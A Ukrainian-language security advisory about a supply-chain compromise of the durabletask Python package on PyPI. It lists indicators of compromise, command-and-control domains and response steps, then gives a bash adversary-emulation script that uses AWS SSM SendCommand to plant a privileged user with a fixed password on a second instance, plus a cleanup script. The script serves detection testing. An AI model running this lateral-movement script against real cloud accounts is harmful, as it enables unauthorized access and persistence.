durabletask: Останній компроміс у ланцюгу поставок PyPI від TeamPCP

Резюме

Атака на ланцюг постачання була спрямована на Microsoft durabletask Пакет Python на PyPI, що призвело до публікації шкідливих версій 1.4.1, 1.4.2, і 1.4.3. Зловмисник, як повідомляється, використав скомпрометований обліковий запис GitHub, щоб отримати токен PyPI та завантажити підготовлені wheel файли. Шкідливий корисний навантаження було доставлено через rope.pyz архіви, призначені для викрадення хмарних облікових даних і поширення на додаткові системи. Зусилля з виявлення повинні бути зосереджені на конкретних тимчасових файлах, підозрілої активності процесів та трафіку до визначених командно-контрольних доменів.

Розслідування

Wiz зв’язав скомпрометований обліковий запис GitHub з попередньою @antv кампанією. Їх аналіз виявив, що зловмисник повторно використовував повідомлення комітів та отримав доступ до витеклих секретів GitHub, що містять токен для публікації на PyPI. До шкідливих wheel файлів входив transformers.pyz компонент, що скидає rope.pyz вмісти у /tmp та ініціює командно-контрольне спілкування з check.git-service.com and t.m-kosche.com.

Заходи зменшення ризику

Організації повинні змінити потенційно розкриті облікові дані хмарних сервісів та менеджерів паролів, заблокувати виявлені командно-контрольні домени та URL-адреси, а також шукати індикатори зараження такі як ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s. Будь-які тимчасові managed.pyz or rope-*.pyz файли повинні бути видалені, а пов’язані процеси Python припинені. GitHub Actions та PyPI робочі потоки публікацій повинні бути посилені, щоб зменшити ризик подібних компрометацій.

Відповідь

Команди безпеки повинні виявити будь-яке використання durabletask версій 1.4.1 через 1.4.3, шукати /tmp/managed.pyz and /tmp/rope-*.pyz, та стежити за python3 процесами, що виконують ці файли. Вихідний DNS і HTTP трафік до check.git-service.com and t.m-kosche.com повинен бути заблокований, а журнали CloudTrail і Kubernetes повинні бути перевірені на підозрілу активність SSM або kubectl exec діяльність. Постраждалі облікові дані повинні бути негайно змінені, а журнали менеджера паролів перевірені на ознаки грубої сили або несанкціонованого доступу.

Експериментальне виконання

Передумова: Перевірка перед польотом Телеметрії та Еталону повинна бути пройдена.

Мотивування: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для спрацьовування правила виявлення. Команди та наратив повинен точно відображати визначені TTP та бути спрямованими на генерування точної телеметрії, очікуваної логікою виявлення.

• Опис атак та команди:
  Супротивник отримав облікові дані на скомпрометованому екземплярі EC2 (Екземпляр A). Використовуючи ці облікові дані, зловмисник використовує AWS Systems Manager для вторгнення в другий екземпляр (Екземпляр B) без відкриття будь-яких мережевих портів. Кроки такі:

  1. Перераховуйте доступні екземпляри via SSM:DescribeInstanceInformation для визначення цілей.
  2. Відправити шкідливу команду через SSM:SendCommand (наприклад, створіть нового привілейованого користувача) на цільовий екземпляр.
  3. Перевірити виконання отриманням виведення команд.

  Зловмисник використовує AWS CLI, що безпосередньо генерує події CloudTrail для обох API-викликів, що задовільняє умови правила.

• Сценарій регресійного тестування: Сценарій, наведений нижче, відтворює атаку в контрольованій лабораторії. Він очікує, що AWS CLI буде налаштований за допомогою облікових даних, які мають ssm:SendCommand and ssm:DescribeInstanceInformation дозволи.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # -------------------------------------------------
  # Змінні – налаштуйте для свого лабораторного середовища
  # -------------------------------------------------
  REGION="us-east-1"
  COMPROMISED_INSTANCE="i-0abcdef1234567890"   # Екземпляр A (точка входу зловмисника)
  TARGET_INSTANCE="i-0fedcba9876543210"       # Екземпляр B (латеральна ціль)
  
  # 1⃣ Перераховуйте керовані SSM екземпляри (викликає DescribeInstanceInformation)
  echo "[*] Перераховуються керовані SSM екземпляри..."
  aws ssm describe-instance-information 
      --region "$REGION" 
      --output json > /tmp/ssm_instances.json
  
  # 2⃣ Відправити шкідливий корисний навантаження на $TARGET_INSTANCE ...
  echo "[*] Відправлення шкідливого корисного навантаження на $TARGET_INSTANCE ..."
  MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser"
  aws ssm send-command 
      --instance-ids "$TARGET_INSTANCE" 
      --document-name "AWS-RunShellScript" 
      --comment "Збереження шкідливого користувача" 
      --parameters commands=["$MALICIOUS_CMD"] 
      --region "$REGION" 
      --output json > /tmp/ssm_sendcommand.json
  
  # 3⃣ Отримання ідентифікатора команди та очікування завершення (необов'язково)
  CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json)
  echo "[*] Ідентифікатор команди: $CMD_ID – очікування виконання..."
  aws ssm list-command-invocations 
      --command-id "$CMD_ID" 
      --details 
      --region "$REGION" 
      --output json
  
  echo "[+] Симуляція завершена. CloudTrail тепер повинна містити як SSM:DescribeInstanceInformation, так і SSM:SendCommand події."

• Команди очищення: Вилучіть шкідливого користувача та видаліть будь-яку залишкову історію команд.

  #!/usr/bin/env bash
  set -euo pipefail
  
  REGION="us-east-1"
  TARGET_INSTANCE="i-0fedcba9876543210"
  
  echo "[*] Очищення шкідливих артефактів на $TARGET_INSTANCE ..."
  CLEANUP_CMD="userdel -r eviluser || true"
  aws ssm send-command 
      --instance-ids "$TARGET_INSTANCE" 
      --document-name "AWS-RunShellScript" 
      --comment "Очищення після тесту" 
      --parameters commands=["$CLEANUP_CMD"] 
      --region "$REGION"